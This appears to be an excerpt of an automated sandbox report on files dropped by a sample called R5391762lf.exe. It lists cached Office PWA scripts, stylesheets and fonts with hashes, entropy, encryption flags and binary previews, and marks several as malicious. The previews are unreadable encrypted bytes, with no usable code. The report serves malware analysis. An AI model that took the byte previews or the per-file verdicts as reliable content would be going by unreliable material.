SHA-512:	7A90996150420584E827C6A425D05057D9807E8020A8B32556E7C2FBCEA525AEE42DD6E957C3A8CE8168C94F0E57268FFB44CA35857675BEB26359CB78E7D32A
Malicious:	false
Preview:	#erro....=O.u.U.D....s2....U..=%.2.To..d.....`......%.O.A.M~mV ....}..h......?i....;..9.......wbl.]5..N.. `.C@..%.B.D..;v.w#..6p.o@..g.......V..+.....#.T...u.-<XE..V.T..fT.....q.6....[...Pg-..<9...L9..$e+z,..n.vLm.Rb.O.fH..n.20.F...P..J.].e..1....q=6.)F..}....q..v.Y...wN3...S..S?.....0...L..V.}....p...x.-....$..p).!.e'e..9.'(.5....\.J.....\|BFx.s5..T.._.:`\h.8.H.S....v.{Z.o[.......Pb>..4.b\.~..ll..w.1..I]S.j2i..C-...M<..s..\.n.v....../.O.`.e..G.I.UO.=y...u..b{N.`).....c.K.2....6.>=^).P....YW.\|b....%.R..g..ph..]...?...f..Ip..m.;.B@.....q.F[.b6./.=.hx.~h..;.-..gV..>l#.RW....3..._.. 3...1i2.Ay.<DlE.1Sz.....5........?6..r...Z......v....).O...V...E.....Y....OB.0ru.}j....\|..z..].....?.$ZI.1..&...CX_.up.(.s.\|n....t~...q.L.8.^jR....%...B....1H...O....H5<.Z.7.....l......Q.Y<.-..'..t ..T:]@.p.....S{0..O.77......1.V.6.6..f......f&.P.y.l#X......U.F...C`.......}....O./..?Tz.]...t....tt............e.N%.rsC..#....n.q..8[#Q..A..d....c)7A..$.a.

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\pwa-vendor-bundle-1652fd8b358d589e6ec0[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	702546
Entropy (8bit):	6.348500357992111
Encrypted:	false
SSDEEP:	12288:8YFDjiL2jcL73D/+4NfqHliuwEVYWouqH2Lb87:8QDmLLT+4ZqQmYjulLb6
MD5:	A01826D061FB10385251645662397F5C
SHA1:	120B2E620669E9BDAFA81A386A8AD52693C0CE23
SHA-256:	0BD67130AFA4D66E8FB9C9B75815A2FBD80CCDFCA23A0FBFC8829FF156EB3AFD
SHA-512:	33AEE96AB0FC8622CC0B21C80B84EE5435B44D162F87CF477D97B18CA72BD1538DFC6C56426D214630BE9E7E6C82C962811BDBC311DB0803FFAD9812FE2AE161
Malicious:	false
Preview:	/! F...J.....GU..k....^\|.V,.'M^.!"..0T..I.]".e".SA6.T.#2{.Jc....4...6Z.....?...c....d!.g-'....."7...uI.E.[U7ZR.!...DT,~...)V.{j._`..H..^?....S.c.=..4......H9r.....?.J. .L....I&7I.R...!.nO.x.j=..5..`.frT..-..Z...a...$.&!V.K.s....d.dy..tr/..W.9.E..\.}.m.(U...t.7L...../.....O.\..L3s.....8G..mT...t........h..,.4...D../..?N..R......A.../.#....j.../..B.3'...u....lX.\|.2...../g@..T8...6..,.Fs...._2....6.3^s..L...R..W.......Q..>C.c........w.O~...Ff.......$.^.5=1.w;....Q.\........&.BM...A..#.DQ....Yr...\|.j7tB ....}.U...IX...#.t...K..p.~..".....J1S.hC/...pn%6&.>..TP.2T.D.Y..P.8..mR.QI}...&=..Q...\|w...?2.2.....e.d>....2....:.p,....].!._.B.=4?.H.....n....O..u...A....t......=...oU~..rs]$...D.=.....y...+.#.y...0.....G.L/q....5....8.U.o....~......\yL.Z .C...d..eQ...._..y.E^.ur^uswW'.+D.....A'..Y.-...-....P....Z.d...',... (..$./]{d.:V...;.H...@T..C...... ...O..2.....@.Oc..x.dp]...J(6;{ZO....>2w...M.Zs_.9...K.3H....T....'..<.\|..i..A....\|......9.n.2.[..r

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\pwa-vendors~left-nav-rc.52c45571d19ede0a7005.chunk.v7[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	21095
Entropy (8bit):	7.99191962208114
Encrypted:	true
SSDEEP:	384:hO3ys/lvAs0UkrtU0F2fnawWhTEwCKzvQ:cP/lvrSrXYfJWtEwXz4
MD5:	EE6127BAD1BE3FE57E8E5B16D81A539C
SHA1:	B86920E20B253D20C64B2BCAFD2C6B31DCD419FE
SHA-256:	0598DDA7D477F620D455BB216AF87BB5658EDFF24122EA05A1DA0849551F17FE
SHA-512:	E690B51D228F1DBF11E0C402A102E2B8AC78851D06E5AA1EBC43F6B2E89A7722891EA788FBE1C5F40AF6180F1CC2E8018EA3F07561B6A7E5BE7E7F4071108C85
Malicious:	true
Preview:	/! FU...{z...0.nl....8....3.".s.3y.....+]{..d.1..".a'.3....]^..E....K..r.....P.....j...y.J.......x.!1q..8...y......cnw].......'p..g.m...w....H..p...5Z>...VF.....j.....K.....\j./...oEd..z B.xQ..o..I......;.)....h..E;.oN.-.A..%6....z!...._.~6...@.9._P[.-?.....@5..2(...R..=<..{t..S.xN].....NB.]<I=.ci..x..?J]d..<g....u.Q\..Z.+m.6.L..A....A.T\|...\|V.K.......V.-....'U......}lSW.L.o.9..AZ'u.y.. ....F......gpX.I....>..u..'....)u.\~......!.Xe..'...#......L_8...p.]T.{.S........:.........]..4N\|y....m...LL}...[/.t.+..g..D.K)...@...<.51.....K...N..Z.^.......p....>..=E.U...gQ..<.....B........R'....\...4...V..F.'+.o........2.f..\|...N..Z.S....c..!..rJA..v..g......3....1p...........v......W.I.N`.U...r].E .K.sR.%......XQ...L\A"w.).1.r.Z.....v8*.q..^qx4..%.cc..)0.j?3b.J`h..+.<x..'...e9..)::"h&Bpx.W........Sv..v..X>.opK.....oO7L..>.L?.AN}xK.8b..Ei..Tq.>.7_...O.H..Ua..h7....8...`...I.Y...p..H.1...]...aT....>.8......hN.~E.@.....4.w5...a....M^...g;....I.m...bG..V

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\pwa-vendors~left-nav-rc.d918c7fc33e22b41b936.chunk.v7[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	10950
Entropy (8bit):	7.986163629640741
Encrypted:	false
SSDEEP:	192:ECOreGeAZV77ObJmF4wpRnIOE/GrKzxni9ZLXVodzIaAZ+pUtBlpFpnC83LLHVQ:ECznAbGVmF4wpR3rKg9ZLXVfM+lHpC8q
MD5:	DB3EDEDEB6E9F72BD749DFE8479B57F1
SHA1:	26B5946F0F762B923EE9F2CD55C37A36231A111D
SHA-256:	42125CD09ED2DDED300ABD1F551409677DA6C25C245DF4ADE30423C1E1602AF6
SHA-512:	50C404E5045BAA531B6A44FC3AC8BC804A4A2A4C03B63CEB191E53FFB5956B37A721B5B1E38AAB4143BDD381A316FC8E3D71F5A63D24DEBB2509FF7D125F7352
Malicious:	false
Preview:	.Crea.H...........\~.[.b..n....0.2...(i.......\=..P...[F..e..xQq.#gJ....5..+..i.H..._#H#(..@d9..2./....n.e....~...h...,iw..9?W6.$#...Ut1Z.o2....Ah.........=........q.B.....D.....W..}O.s4.G.z...b..z...?.4...........W..J_.,.....woUB0E....^......mi..\.......Q.L....#3..[../..4}.......!..'..T}.7{[.D...P9.MZ.."..ZA.?L.N..R\|zd..g..H<........=F...8..Y..%l[X..@Bx........2D3..m..t....UW.~...H..._^..s...r..x....X.2......uvo.......z.!.Jy......Cq9O...x......A3.=Fd...W0^....G.do.U.E,..".7.;.k".].[.Z...+2.3. .p!..../../..{.(.._^....#..0.g...&....hD..p.[.".%k...wH.....AF...&............s..f.r..o...mF..W...i......Q.._......?"....m....^.E.....\|........XU.q...t.C.$}......i^...-.D.[...........^..c..........A...W.)S.a......q.P.d..a.%............./.>...>'...-OQ=.B.N8....#...Z...b[....#.......=.R7a.......R]...uao.t.r.5lq.!.Oj.Vw_......U.5?my..s.u.G6[e..D..g~L..e..c..p.5.K,.S.j.KR@.....E.[I.R.#...r......7.!5....4..&a.....l.(...R..lD.=?...7.qI....J.8$.Q(....y.1..P1V?

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\segoeui_regular[1].woff2

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	Web Open Font Format (Version 2), flavor 7650603, length -1840497846, version 6582.-18048
Category:	dropped
Size (bytes):	11434
Entropy (8bit):	7.983132714886088
Encrypted:	false
SSDEEP:	192:BVS3F8G5oE9VD3OovMaWPEm1vHUiMQHwWn2LZK27T7r0EXqhFWybfD9v5z2awMwF:BVSGE90ouxUiMQHvQL7ZXGh9v5z2TMwF
MD5:	8E717CF5CEDFFEE1515D815519BCE811
SHA1:	A7232CAC30D05D971A287FFF43500D21192CF414
SHA-256:	CDBE0B274AD093FCD573DF4E9C828873F48820DA9901F5B1FB1C67E1F8429E4A
SHA-512:	57102A1413095CB6785DEFDCEC93D6E729CAC506EBE4801C11DF311E0F1C166D1948F51626874BE87181593883380B5ACBB62069998EFB6E2C8D9C8395251026
Malicious:	false
Preview:	wOF2.t.+.L;JV.-LO.V....`....o..%.'.....y.@p.=./.z2nH..6_.u...l..'.l....8Nk...'...7.1.iV...;.c.V...c.....`s.....}...[...Y..E.:....kP..]...~:.G4.Sj.;...@..(N.I\|.s.y74..J.u....b[.6.`\{.TRZ0..kh[.......V...`j...&...l.<......_.O...-s...`[.H4[e.O...5-.iL\......Y.Z...+7-.~.].}..?.......1..l..W.8.U...%...49C.....tX.1..U..#.<v..J..&....6.F.t.wVF.Ih.H...<d.......Z.0.w..}....D...h.A.......RZJ.rz...{..6..R...m.@D..3.../2I.[w.c..a..{.B.n....Q../_..D.M.h....?.....t_...LO.J:.sd...KL.n.j.pM.......2+.....Vi<.m.h..6..^......~.!.....E....K...............v..X...h..?.Y_.w..C.jb....k.>.<...9...b...r.n..N.Vc....,d=..u...J...p..h...+/f..q^J..r.s..4R../...G..n.!_..1..^.0>..52u..YBE#.I........z.../G...4.xN.Q5.....3.W.`.a6.g7..01e{...u.....2-.....".1..+.~....-i..J1D(...c.0m..u.-.OFD....h.......z.......'..........'...q.^`+....".B.c......05...e-a.9..7m.q.~..5=.K...........1.;S.....U.L....,4.~....R..b... Zl...).e.b."P...$..&I....$...yb..C.1..?.P..m..`0Rj....}.....

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\sharedfontstyles-27fa2598d8[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1661
Entropy (8bit):	7.893070645796343
Encrypted:	false
SSDEEP:	48:a/hYx5LwLHopUYxQtaMWmYRxPeoRUSh3tXFuED:a1HopLxKSmAx2o5t1FuQ
MD5:	37F368047D8A3B4766ECDBD62411113B
SHA1:	349937EA2C80E42CB8BDCCE3F61B6761110F40A1
SHA-256:	AE9E8EAAB4E2FB76EA4F0987A9CBC65BFD4664CC5292D0DFCE9364FB8A2A635E
SHA-512:	3107A14F2D61EF68920A6B773FBB9FF74FEE66FF0C453E6D349EB4318EA253AF73BEF978FB50093356B728E2E3C890166E7B20A383252F935AA8807F29DEDD50
Malicious:	false
Preview:	@font<.$ .....N..\..."....d.G.F...X;..(-.U.D4zu.&...'..>=.e.........P.!@..".)..'.$.i..}"O.a.\|....g.Z@eb......X....cf....%_a....\>w....O....O9M....!#.b0.(h...R.R~...4a.i:.....2.. .....l..e.@.7.v......u.#.....u.o.N?..k..$s.N...o3.M1..M....:.P.93....4f.!../'........{.COsb.R.W...e.?'0...s..B\|.'...P`w.U.5..t.0n0....](.G..T.Yx.a.}..#@?......[.U.y.[..'F.g....X...\..\|U.../a.t.lY.....<..>.'..#.{.} ....}T......Q./....Kb...=\|....a;...j.........c...E.......d7.8.\..3\|.Jo.....Ln.......`..:......].x..o.0....j.%..ib..:.U..."..$..../.5.S.7..k..T.GC..o..._.b.1/Q....`-ZC.2l.>..D.#.A[m.^.q...l.&HL.^`.p..#...N.....~...Lp.<.q...a./Y#.....u.%...Gel.d..y.....i..I.&...!/8.+....6.?...Z......6J..@.h.q.E.X.L5....="dyvl..`.8b.Y.....T.=...I.t...e.O.W..O...*Q.,.K5[o24...L]Y.'=....jYux.)..'p... V..eh...&].x.w.XJS.K.u..m.`..5..NlH....X......_.+.1r0OA.rR..9...s.t<......A..~,8..N.w]...!.Z....D...........C.v.4.......I.,....5...vM...h..7a.....-Cd.$..c..7D!.5...'r.?%L.;.0

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\sharedscripts-939520eada[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	53528
Entropy (8bit):	7.996020272921721
Encrypted:	true
SSDEEP:	1536:TfdXVi2lcnjz/Hr7lwBuDyvPGZl7R8ouF+ap9B2+A:ZXcnXfr7KsDy3GZl7R8ouZlA
MD5:	E361245D443F66CE82578C94D156EC55
SHA1:	A4558AC0DE21CF98DBD034E1B68D623A949E662F
SHA-256:	076BDFECC5CE8C64C815A4B86BEC2489C6871F7D3BC37AE76490E36855003034
SHA-512:	BF5E8D446F6AFCB23FE5EB67F7C7D32A2D891530D0870E993CE517E848A40A1F2F260E6E550CFF1D43A0884F37065E23A0E47E8A2EEE0362AA2E1872DD1CB555
Malicious:	true
Preview:	!funcI...T!.ak..X.?....y...'.i../.....C.0.V}Auy.....Idrr.....t....f..h......T6.\.=...t#z..wl4a..d..G-...~.;.Az../...+.\..m.cJ.......Z+(.. .-V.L..h....@a.~.'.._^.M.-...Z.'.L..}.......S..=Qw..n..P.B..h.2.9..^.k..F.&.^..g.j....9?."E.B0.ty.q.}..L.e..W....... .+.....S.Ce.]_.x.3..N.&.Kdbob.VHP@....D~...O......@.....8\.[...+.7./..N.dP.7..)d.U.i...+..4S..../x@=...\.g.B!.T....k....:..e...D.IaI.+....+.....r.#k..9.*7.sF\.>M..5...4.$...=.A..P.....veR;>....._...i.j.rMK..X..q..V..8>..............s<I....A.E......f6.$......i%..:..u.J...R]r.m.,.J.....Z..vj.....V./../..k..}...eE.C.gG....5e.+.......G....t....c....Ct.fR{.CP.=..Z<S...\|!......5D.L3C.u.p:.>.<&J.W..eH..2.P....\..{).......r.....k&"F#ODS.g.b.C.....i..stf.......m..j!....&..o..m.V..B..?.'..g.7.."...6.1d.d...$Y .%.#.E.........F.Y..=).G:)r.j.2.....5.X...k.M..!I....bf....f.rcb.`f.0..Z..'7..{Mu./>,.r....-..#..S...l..S.....Q...fL.;k.N\|!G..R.>r.1e....yt..:...q...YT05.I.......O.K2.f..}..g.OxN....@.\{).

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DL2P1Z6X\staticpwascripts-30998bff8f[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	18908
Entropy (8bit):	7.9915135308659675
Encrypted:	true
SSDEEP:	384:1UkFxpdMH1gxOGSni8mEp3evbEhrbppPr/cz0DiJkUItnOk6BRaxZ3Q:1rFxpd5OGSi60oNpRr/czwsslOp2ZA
MD5:	6B4FB68FDDFC5CE5A6F12AC414E34BB2
SHA1:	9484821E2E18DF736E41B45B3369F7FC38F44D15
SHA-256:	EE0F42F40369F3BF0CA143D11FE01D0E55CB5FB28D8501963C979CA11FC7CE86
SHA-512:	A3115A64C61D7F342EE7FC8BADEFB2544680A6A47D440ABB3D9E5EC1CFFF9F396558A1EA6BD3F6503E7EFC6CDA0228C68F0FE170CDB0D06AB7FC9AC4C64AFDBE
Malicious:	true
Preview:	var H..4..........R........7.yr.sV.L..2.-U..o..c\|.~My.`rN.g.l.^y.e..,.......W.K.f...._...l.X)+...vOK..T.uC.O."~.[.u].p..@uS....L...t..........q...7...........?.Z%..W...w.+..7../.^..X+..LAoGn..@.~ i..e7q.6$......<U..~4...{.....0-.-8...\C..J.&./C\..>.\|....1M.v6.m..T&U.R.n.H.O.EL...4'+.S%.YQ....:....b.M!>.Kx.....N.bx..jD.......7....<.....&.?.......Y..H.9...\|CIk:.2..Z..Bc....=.1.lu.x.5..^m"^!-.UC....n....yVq.-.%v.G.3..v..p~.:.I........"t..r..ZN......JF.,R...\.4C...4..L...b..Y..u...a)q...+.M...p.....T.?o..X".....zoN....].....p..P~5.\|...2.+. ....T..@.............fxh..?.....H.}....n....n.\.87"x./$@.7..E.o.z.<S......]...:t.... .........6D........H......6E.-.x..L.f..>.......Z.....$..pF~.B.0.../..?..J..T...Zh......R;..G...d8.<..N,%...(..X.c..G.`EH..J....,N...0..AZ.#....q....;2`.H..4W.?...T....$[..9$.$0^m.......M...Kp........U...&<.%.>@.F.J.w..f,V>....3.AU.0..E...:B..E.S..?.$?D ..z.!...h...^X.)..4.u./1.8....7.U..%.:B.....Y..F.3VA....Zx[^.

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\pwa-bootstrap-5e7af218e953d095fabf[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	80406
Entropy (8bit):	7.997471768271824
Encrypted:	true
SSDEEP:	1536:szRDHpOBPaWKaQ5WKzXgJqXxuATpCK2EArPNWNchRvMFTNJoCZdO:HPVK0QBKHxCeRvMDJoCZE
MD5:	B5FA7819162487EB185D8465EBBC9034
SHA1:	6E217D4F37C35A7A563845933E56EE87A06F5670
SHA-256:	059190E26B56BF3744CF36290C143C8DAC952A2EFBA2FE45135276E3C28EA310
SHA-512:	2E7381967FE6914219BD9CC1BE9C1DA47F61B04FCEA0C1C91783921FA18E9DC94E2A1D2F5153BA025A38174EAF3F6F481F48F23B850E0735A629EF96B1A31676
Malicious:	true
Preview:	/! F.....j....\H...>....$!./..h.N.$.. ....%W.....`'S...._..I,cg.d....tr....k'..2#Q"..Z..a`..H.y..lV..V.W..y_.&.j.r...<..5..].O.@..g.#PT.....I.:...h;P.T.O...fV.......N.0...#......L..=.o....Cg%....U.......@......o}.e........=q ...^..._..-..%......o...e.}<...m.-.O.F..2..FJBK.:.$...Y&)."8.d.... h.#.....P./.l\|.....B......(...:..F...b..61......25d.L...>.M7::..n.j.,......3.#.V.F../.SV.o.VA\|F.S..@..L.!7...f>.I....k...>r.1.....i.?. .S.#E@=...Gw...]#.......>.>..1.oy..d.A}Yx."O.K./@D%..%.TM.r.IAAP.-...,...G...aT...Y....Dc.i..bON.O..qXU.ms.........bP.{.(.>.....6......9l\j.... J...&.`....Egy....}o_....i`.72.Z`XS.'C.tS......a?'...$/.fQ.i.......C.A.-...Zn..:..%b...o...).6x.. .Y..?.3Dk\W.?..v.2/...np..0.y..p..t'...9.....[.....@F.x../b:]o+..........)..;.....J.vV...Pf..D..C..1P.5..43../=&..n.I[..~.Q-^UE.Cph....#.. ~<?C..u...-...........K.._...u....].P......u.,.W1..4...K......kPK..h[..&.h..}L...t..I..&?5...5..D.(.Eg......K.Y...ZJ...".`..'\...@......-....o&}.

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\pwa-fluent~left-nav-rc.ec3581b6c9e6e9985aa7.chunk.v7[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	13228
Entropy (8bit):	7.986613339435873
Encrypted:	false
SSDEEP:	384:nAJTL0nz4UxYXJquQm8rm2GxQgUoP4OgwQ:We4Ux2eL4OoP4l
MD5:	2185D9828E70D735A039CE98D33B36FC
SHA1:	4216476BE5A435639DFB9CC0A0C4E27F0EF260B8
SHA-256:	632ECEE66B93205BC3663FFDAA5C618D535F86BD48EFE23D9E2FDE2DE30A2D26
SHA-512:	6714FBC593EAB8D7F41BAE8605717A08828EB4317793F012B4292CCA91D09F5025FD6DC465E155C3B6A0C5C368FCDF96B012E6CDDA4C61F53847BFFDE4745214
Malicious:	false
Preview:	(wind.5.......t.).h..l..;.XE...o!.......C....AF.,..5..y,.pJ..4$.1....M...aO.I.'LD-P..Y.Lc..%c.M9.vY/..y..l3.{..N.u..N6s.....3:....R~m.....i..f{[Z.....0.>..4..<.~x....{..Jy..\|.ic5.e..:J...T.u.r}.<P.......9...T.9.<Y~..:...e....q.3:.N....&.....-.t..\s..16(.ze>..).h.d.y..."z.2..Bg.....UE..H...P.,.R5...jg4Vwx_..[.._.... .db;... ...W.~}...g.!.w:.. D.&).Z"b....t...^.g.\...[...F.....}......e.xP%.J.E..wv.].~....n..a..j.`.(..uC....\|t7...vP.....SHp.0..8......6...<.e....f0..w...Nv....7.$.`.R..m.d.Y..=.BC...kB........Q.......}O.D^.C..{.S..Q/....k.^.....H..a.......@u.E.....&...S7......7T.".v........j.:C_.b:8....OE.v.....FK.d.....t!..Y%4..A.....A.\|!..g.]./.b.............].(..^.N.NK/z1.D.......Y.:..h...^.;h0J..D..k.......%[QI.A.K..J....x}._...X...q~..\|9.._.-.L). 2r....X.}....y...a.c.[@.u.+'..q.....B.q}X...].RN'.#~vO.#..@.i.......X8.....\...&.........*..82...........> .?.cC.G...P.A.N.a/......E........A......a...X..2#.W..`..e....q.r.}..].h...D6.7..\

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\pwa-left-nav-rc.6c288f9aff9797959103.chunk.v7[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	36316
Entropy (8bit):	7.99454333943752
Encrypted:	true
SSDEEP:	768:kzhR9yz9mAMJrp7kNijoogyhUmjISxnrTHwtWb030J7aWvz:kRqqJrywjo8fjbxYtWNlXr
MD5:	767061560EA1DA3E4B62D7B66ACBA55C
SHA1:	C3A28F931902BC9057326BCFFD45D8E76697DE41
SHA-256:	7CF2EE8647A6592669B617099185F0870A0D116B03D72A896930932700E314E1
SHA-512:	8FE60B31A9CDECC2239CDF55514D2096BBD88B99CB9FEFC9E0924DE2EF8A1353C72F2C9E5DD90C7F2537514405233586DC9412A35218D0570E060304CF5F4878
Malicious:	true
Preview:	(wind.D..U.s...l. m.#.5..,..n.....+....t..>.T.)....Z....0.N.....:...1v...<.k..b!..[...:....%.(.Z...\ak...c..S.......3.q.(.&[.}.-.?......~.h...v'Sp.\.zOGJE..{x.8...tb/..:....\..-.<.(y......_ .8rn...H.\.3#.....&}X.(..4m1.+.....v....\...[u.\|B+....Q...}...gke...N!. Vnd.....dZ...t...>U.;...\|..sH.n.+H...?....{..19....-......tB1@FIjL.t....SP)...b...$.+.h...{.... ....h6..WZdG.Wy...&.1..In[W.....b.r!7{xX.....J........bj.}..........S..+L.z.)..%2s\H.i+..o......e...=...8.6.1V~...&.(r.t..D8...S.-.....r.V..;..Vr&.........[Bz.z.e.#.......S.p...f7Sg./&f.>..}.%.iNs..n..`Z..F..U.S...;7=T.q....A....:d......Rwa..\|...4...y...Ql.G}N'+.S..G..Y.o.......2a.......E.]!l..#8pPx....o..z.....5.\|..0.Z.....n...vK&:.q..e..&.....".._S.o....I.Ucf..dR.gR........FM....T....hN.Z\N..#x./...DW3...9{7.S.....2F...l...4-b.....?..a'{x..0...+4>.b.Y.4vc.*I.:.GD.#.``.g.v..#......L.fM....!O.<.u....#Z.K2.......@x.h.~QC..New...X.7.}..G...o...^6...c..&...A..F...p.H......,.m.>_..m..ep..%..

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\segoeui_semibold[1].woff2

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	Web Open Font Format (Version 2), flavor 1740683, length -976703131, version -7310.-3528
Category:	dropped
Size (bytes):	11690
Entropy (8bit):	7.987676364273676
Encrypted:	false
SSDEEP:	192:Q7K7S1CIoikpdc/77Ki2zPKXYEj9mH+P5fzx10LMWF8Npx3YFAwEvBiM/Yvvl97i:QeuzYc/77KiAC3ZmHIP0LMWF87xI8MM1
MD5:	8190DF5813B13C0A49AF735D39083E49
SHA1:	761E6AFB64C2EBF0410CEAFA4964A83F676C9D75
SHA-256:	1449A476092103834209B79A30221CEB98F33B6DFCEB846FAB52306009A1E253
SHA-512:	A70533DE37BE039BEE59FCE660B072C624EB9419A7DE9EF54CD4FED76ABA9999026E9F0397BC40AE939ECC0CA61A0FE73B9EB68E2FE2CC5CC7FFC33920670CCC
Malicious:	false
Preview:	wOF2......ee.n.>..55.7C.r.8S...]Cf..(...#.6v#......w.F.................K...%xY...r..]K...]V`..A.;......Tt..k..}...M..8Z.V..Y^......t}.2.J....2.Co......9...._....g..K_...}buC...9E.M9uEP.XSs.\|,...k.F.$.eP..w.....G...UQ9..Y.%m(eg./...k...?..1..E.".B.N....u..,.=i.gj'/..)..#M.._...Y.V...\....`...o..Q8.v...V../...Sg.......a.w.^[....pr8.M.~..=\|.'..\.....j...8+cHx.(.2H ....Ei.".F&`..}.q....~........e.)q&T........i.JO....=3......^..fW?[.#.<........1w.&).-..{.G..\|...."./L.I.p.z..M./v.\|..F..cPU..C....I.z.,.4\|.../9.ty.....65....p....NZ.dR4_..D5.......(..>.T...\\|....~...G.qt1K&.....K....Y%#.V.X.w-\.r.......p.Y$"..2r...Yp...W.\.!.X.Z..6.p.......V....`..j\|..3Ne..LY..\......./..((dJ.l.qT=.D.........X.....s.{....b..w.\|,.U.j.........o.2./....m7h.....+.q..^%I\|I.4...&...I.w.@GFv. XJ$b.#.WK..L.n...+S.`..W....X.......a.J5H]T1Y..l.....jC.....q..'i...1@c!]7....?.H._..vu;R.5.:.l...x.X.....%&$.+".`y..=...>=......s{..p/...g..z.kV.LQfPp.."_sh.E.8n..(

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\staticstylesfabric-35c34b95e3[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	239275
Entropy (8bit):	7.740221076898259
Encrypted:	false
SSDEEP:	3072:zVf1ryATgOaUTnRdnbeAMVMVZvDaVaZAb0TUL7akYzqYSiG1/50WuPbKUieGoi4J:5cHvUTnxMVMj6ibYUxSi+Nu5NkUeejZ
MD5:	07E455F25CF3D4C61B975A584371EFA8
SHA1:	9038B8C9B3693FBA460ADE49992508B353FF18B4
SHA-256:	D39EE0B3F2B7338684B6021E40CA157CD7F40CAC3F0FB83717D82D3AA7D17D6C
SHA-512:	971640D297EFE103CCD882837B728E2F635CB483D1E63C49159CCD89AFEDF5DB06AFA6A05338072ECE6EBCFC9BE877DDA9B74E6EE1673A656F5F5A8081A982FE
Malicious:	false
Preview:	.ms-o];.5c?.p..w....qp/..G.V..k..._.>.=.:3...m ....i..kCl.u[T.....> ..=.H.....f..$'.......`.(.....3./...F....K.....d...0.YW'a.....=..wb.$..".].!.J.~j...EqY$.\G.d......dxp5......~.:..&v!.j.[.Lu\|Xh")..z.P...%m~.r.Y.2..0.\8.[E.6..QK.>K.O....[..%^.e.......Z..1...Vz...[ny..S..d..&./....HzE...Z..t.QB............n.T_....g...........W-...}...mV3".cf................(...Aj..!.&..q.x....~...>I]#.......dF-.j.0..."....... .Y.bUyx.....Z....Jd.79+..T.x.t.:.O%n.:.L....3.&yz.hX.......n/,....0..o.*.W..G`..>.8..f...@...>..<.L.r............U$..A..D.5.#8.........`J..}.d.IF....q.:.8nQ.2..u..[d.>....1v..@.....B;.H,>....R..f....YCq........ .,.7-..}..A../>7..:...'O.G.o6}.....R.(.g......\|...yOJ..S.U.A........<#G8.7.s'..Y ..o.......{..d.......~R.7..7..r..._.i........L....T`.I:...zXC.t.f..E+.(..&...x;....j.U.0.WR....v.hK.0.W..h..C.0L....S.)os.....)+....1Q...,......<}K...l8.M...6....2.+4.{.2.a.YW.6.u?00L..J0..a...<...U..N. 8..Cc...^.w...Mr0........)<..B..]V1.X...n......

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\IINQQITY\thirdpartynotice[1].htm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.998121691166779
Encrypted:	true
SSDEEP:	3072:fzWW+7bXXqYa3LkGEDPOpmGU9+K1LHH5oNfSBWtZ3K:6WEDqs21RUZoKB+K
MD5:	61A2D5E00B2324AB23512B855E6F857D
SHA1:	80AEA3BC350CEC16995A2275A024B82FBF8B0841
SHA-256:	81A9DD996F43BFD60134C091CADA5B64395C69A8CD0389CFC33FCA5336D34D03
SHA-512:	D0B16199478B8E56946EAE4DF6CAF6F9BE235E5CB0E892BB7C217D4956509B9FE7AD7F155FB3E82FE23CBBDE6F6E7EEE05EBF68E52016D9DE7C4CEC490A2E2D3
Malicious:	true
